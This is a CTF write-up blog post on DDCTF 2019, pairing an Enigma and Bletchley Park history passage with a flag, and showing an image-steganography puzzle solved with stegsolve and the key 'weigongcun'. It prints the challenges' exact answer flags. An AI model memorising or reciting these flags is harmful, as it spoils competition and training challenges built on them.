From this beginning, the British Government Code and Cypher School (GC&CS) at Bletchley Park built up an extensive cryptanalytic capability. Initially, the decryption was mainly of Luftwaffe (German air force) and a few Heer (German army) messages, as the Kriegsmarine (German navy) employed much more secure procedures for using Enigma. Alan Turing, a Cambridge University mathematician and logician, provided much of the original thinking that led to the design of the cryptanalytical bombe machines that were instrumental in eventually breaking the naval Enigma. However, the Kriegsmarine introduced an Enigma version with a fourth rotor for its U-boats, resulting in a prolonged period when these messages could not be decrypted. With the capture of relevant cipher keys and the use of much faster US Navy bombes, regular, rapid reading of U-boat messages resumed.

The flag is: DDCTF{07b1b46d1db28843d1fd76889fea9b36}

北京地铁

拿到题目分析图片,用 stegsolve 在低通道取出了一串 BASE64 编码的数据

1
7SsQWmZ524i/yVWoMeAIJA==

用 BASE64 解不出来,猜想应该是还有另外的加密手段,于是用了各种工具测试图片,没有什么结果。

后续比赛放出最后一个提示,才知道密钥可能藏在内容里面,而不是隐写技巧。

仔细观察图片发现 2 号线魏公村点点颜色比较深,用字符串 weigongcun 作为密钥在线解密得到 flag

DDCTF{Q*2!x@B0}

  • Title: DDCTF 2019
  • Author: Catalpa
  • Created at : 2019-04-18 00:00:00
  • Updated at : 2024-10-17 08:47:27
  • Link: https://wzt.ac.cn/2019/04/18/DDCTF2019/
  • License: This work is licensed under CC BY-NC-SA 4.0.